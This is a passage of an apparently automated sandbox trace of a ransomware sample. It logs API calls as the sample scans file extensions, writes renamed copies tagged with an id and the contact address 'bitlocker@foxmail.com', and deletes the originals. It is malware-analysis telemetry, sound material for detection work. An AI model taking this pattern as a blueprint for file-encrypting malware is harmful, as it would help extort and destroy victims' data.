(hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0065.873] GetTickCount () returned 0x114af91 [0065.873] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0066.091] GetTickCount () returned 0x114b06c [0066.091] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0066.262] GetTickCount () returned 0x114b117 [0066.262] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0066.512] GetTickCount () returned 0x114b211 [0066.512] GetTickCount () returned 0x114b211 [0066.512] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) Thread: id = 13 os_tid = 0xaac [0042.860] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10000) returned 0x740300 [0042.860] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10000) returned 0x750308 [0042.860] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x710310 [0042.860] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x6) returned 0x6fa390 [0042.860] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x710328 [0042.860] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x100000) returned 0x3650020 [0042.861] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x710340 [0042.861] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x710340, Size=0x20) returned 0x73f930 [0042.861] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x710340 [0042.861] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x710340, Size=0x20) returned 0x73f958 [0042.861] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0042.861] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0042.861] Wow64DisableWow64FsRedirection (in: OldValue=0x234ff58 | out: OldValue=0x234ff58*=0x0) returned 1 [0042.861] lstrlenW (lpString="kernel32.dll") returned 12 [0042.861] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x73f930 | out: hHeap=0x6c0000) returned 1 [0042.861] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0042.861] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x73f958 | out: hHeap=0x6c0000) returned 1 [0042.861] Sleep (dwMilliseconds=0x64) [0043.103] lstrcmpiW (lpString1=".ini", lpString2=".wiki") returned -1 [0043.103] lstrlenW (lpString="desktop.ini") returned 11 [0043.103] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0043.104] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=129) returned 1 [0043.104] CloseHandle (hObject=0x164) returned 1 [0043.104] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0043.104] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.104] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0043.104] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.104] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.104] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0043.107] GetLastError () returned 0x0 [0043.107] ReadFile (in: hFile=0x164, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x81, lpOverlapped=0x0) returned 1 [0043.119] WriteFile (in: hFile=0x168, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x90, lpOverlapped=0x0) returned 1 [0043.120] ReadFile (in: hFile=0x164, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.120] WriteFile (in: hFile=0x168, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.120] SetEndOfFile (hFile=0x168) returned 1 [0043.121] CloseHandle (hObject=0x168) returned 1 [0043.121] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.121] SetEndOfFile (hFile=0x164) returned 1 [0043.122] CloseHandle (hObject=0x164) returned 1 [0043.122] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x26) returned 1 [0043.122] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 1 [0043.123] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0043.123] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0043.123] lstrlenW (lpString=".doc") returned 4 [0043.123] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0043.123] lstrlenW (lpString=".docx") returned 5 [0043.123] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0043.123] lstrlenW (lpString=".pdf") returned 4 [0043.123] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0043.123] lstrlenW (lpString=".xls") returned 4 [0043.123] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0043.123] lstrlenW (lpString=".xlsx") returned 5 [0043.123] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0043.123] lstrlenW (lpString=".ppt") returned 4 [0043.123] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0043.123] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0043.123] lstrlenW (lpString=".zip") returned 4 [0043.123] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0043.123] lstrlenW (lpString=".rar") returned 4 [0043.123] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0043.123] lstrlenW (lpString=".bz2") returned 4 [0043.123] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0043.123] lstrlenW (lpString=".7z") returned 3 [0043.123] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0043.123] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0043.123] lstrlenW (lpString=".dbf") returned 4 [0043.123] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0043.123] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0043.123] lstrlenW (lpString=".1cd") returned 4 [0043.123] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0043.123] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0043.124] lstrlenW (lpString=".jpg") returned 4 [0043.124] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0043.124] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0043.124] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0043.124] lstrlenW (lpString=".doc") returned 4 [0043.124] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0043.124] lstrlenW (lpString=".docx") returned 5 [0043.124] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0043.124] lstrlenW (lpString=".pdf") returned 4 [0043.124] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0043.124] lstrlenW (lpString=".xls") returned 4 [0043.124] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0043.124] lstrlenW (lpString=".xlsx") returned 5 [0043.124] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0043.124] lstrlenW (lpString=".ppt") returned 4 [0043.124] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0043.124] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0043.124] lstrlenW (lpString=".zip") returned 4 [0043.124] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0043.124] lstrlenW (lpString=".rar") returned 4 [0043.124] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0043.124] lstrlenW (lpString=".bz2") returned 4 [0043.124] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0043.124] lstrlenW (lpString=".7z") returned 3 [0043.124] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0043.124] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0043.124] lstrlenW (lpString=".dbf") returned 4 [0043.124] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0043.124] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0043.124] lstrlenW (lpString=".1cd") returned 4 [0043.124] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0043.124] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0043.124] lstrlenW (lpString=".jpg") returned 4 [0043.124] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0043.125] lstrcmpiW (lpString1=".LOG", lpString2=".wiki") returned -1 [0043.125] lstrlenW (lpString="BCD.LOG") returned 7 [0043.125] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.125] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0043.125] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0043.125] lstrlenW (lpString=".doc") returned 4 [0043.125] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0043.125] lstrlenW (lpString=".docx") returned 5 [0043.125] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0043.125] lstrlenW (lpString=".pdf") returned 4 [0043.125] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0043.125] lstrlenW (lpString=".xls") returned 4 [0043.125] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0043.125] lstrlenW (lpString=".xlsx") returned 5 [0043.125] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0043.125] lstrlenW (lpString=".ppt") returned 4 [0043.125] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0043.125] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0043.125] lstrlenW (lpString=".zip") returned 4 [0043.125] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0043.125] lstrlenW (lpString=".rar") returned 4 [0043.125] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0043.125] lstrlenW (lpString=".bz2") returned 4 [0043.125] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0043.125] lstrlenW (lpString=".7z") returned 3 [0043.125] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0043.125] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0043.125] lstrlenW (lpString=".dbf") returned 4 [0043.125] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0043.126] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0043.126] lstrlenW (lpString=".1cd") returned 4 [0043.126] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0043.126] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0043.126] lstrlenW (lpString=".jpg") returned 4 [0043.126] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0043.126] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0043.126] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0043.126] lstrlenW (lpString=".doc") returned 4 [0043.126] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0043.126] lstrlenW (lpString=".docx") returned 5 [0043.126] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0043.126] lstrlenW (lpString=".pdf") returned 4 [0043.126] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0043.126] lstrlenW (lpString=".xls") returned 4 [0043.126] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0043.126] lstrlenW (lpString=".xlsx") returned 5 [0043.126] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0043.126] lstrlenW (lpString=".ppt") returned 4 [0043.126] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0043.126] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0043.126] lstrlenW (lpString=".zip") returned 4 [0043.126] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0043.126] lstrlenW (lpString=".rar") returned 4 [0043.126] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0043.126] lstrlenW (lpString=".bz2") returned 4 [0043.126] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0043.126] lstrlenW (lpString=".7z") returned 3 [0043.126] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0043.126] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0043.126] lstrlenW (lpString=".dbf") returned 4 [0043.126] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0043.126] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0043.126] lstrlenW (lpString=".1cd") returned 4 [0043.126] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0043.127] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0043.127] lstrlenW (lpString=".jpg") returned 4 [0043.127] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0043.127] lstrcmpiW (lpString1=".DAT", lpString2=".wiki") returned -1 [0043.127] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0043.127] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0043.183] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=65536) returned 1 [0043.183] CloseHandle (hObject=0x164) returned 1 [0043.183] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0043.184] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.184] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0043.184] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.184] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.184] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0043.184] GetLastError () returned 0x0 [0043.184] ReadFile (in: hFile=0x164, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x10000, lpOverlapped=0x0) returned 1 [0043.187] WriteFile (in: hFile=0x168, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x10010, lpOverlapped=0x0) returned 1 [0043.188] ReadFile (in: hFile=0x164, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.188] WriteFile (in: hFile=0x168, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.189] SetEndOfFile (hFile=0x168) returned 1 [0043.189] CloseHandle (hObject=0x168) returned 1 [0043.190] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.190] SetEndOfFile (hFile=0x164) returned 1 [0043.191] CloseHandle (hObject=0x164) returned 1 [0043.191] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x26) returned 1 [0043.191] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0043.192] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0043.192] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0043.192] lstrlenW (lpString=".doc") returned 4 [0043.192] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0043.192] lstrlenW (lpString=".docx") returned 5 [0043.192] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0043.192] lstrlenW (lpString=".pdf") returned 4 [0043.192] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0043.192] lstrlenW (lpString=".xls") returned 4 [0043.192] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0043.192] lstrlenW (lpString=".xlsx") returned 5 [0043.192] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0043.192] lstrlenW (lpString=".ppt") returned 4 [0043.192] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0043.192] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0043.192] lstrlenW (lpString=".zip") returned 4 [0043.192] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0043.192] lstrlenW (lpString=".rar") returned 4 [0043.192] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0043.192] lstrlenW (lpString=".bz2") returned 4 [0043.192] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0043.192] lstrlenW (lpString=".7z") returned 3 [0043.192] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0043.192] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0043.192] lstrlenW (lpString=".dbf") returned 4 [0043.192] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0043.192] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0043.192] lstrlenW (lpString=".1cd") returned 4 [0043.192] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0043.192] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0043.192] lstrlenW (lpString=".jpg") returned 4 [0043.192] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0043.193] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0043.193] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0043.193] lstrlenW (lpString=".doc") returned 4 [0043.193] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0043.193] lstrlenW (lpString=".docx") returned 5 [0043.193] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0043.193] lstrlenW (lpString=".pdf") returned 4 [0043.193] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0043.193] lstrlenW (lpString=".xls") returned 4 [0043.193] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0043.193] lstrlenW (lpString=".xlsx") returned 5 [0043.193] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0043.193] lstrlenW (lpString=".ppt") returned 4 [0043.193] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0043.193] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0043.193] lstrlenW (lpString=".zip") returned 4 [0043.193] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0043.193] lstrlenW (lpString=".rar") returned 4 [0043.193] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0043.193] lstrlenW (lpString=".bz2") returned 4 [0043.193] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0043.193] lstrlenW (lpString=".7z") returned 3 [0043.193] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0043.193] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0043.193] lstrlenW (lpString=".dbf") returned 4 [0043.193] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0043.193] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0043.193] lstrlenW (lpString=".1cd") returned 4 [0043.193] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0043.193] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0043.193] lstrlenW (lpString=".jpg") returned 4 [0043.193] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0043.194] Sleep (dwMilliseconds=0x64) [0043.478] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0043.478] lstrlenW (lpString="PowerPointMUI.xml") returned 17 [0043.478] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0043.478] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=1450) returned 1 [0043.478] CloseHandle (hObject=0x174) returned 1 [0043.479] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0043.479] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.479] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0043.479] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.479] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.479] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0043.479] GetLastError () returned 0x0 [0043.479] ReadFile (in: hFile=0x174, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0043.480] WriteFile (in: hFile=0x178, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0043.481] ReadFile (in: hFile=0x174, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.481] WriteFile (in: hFile=0x178, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xf6, lpOverlapped=0x0) 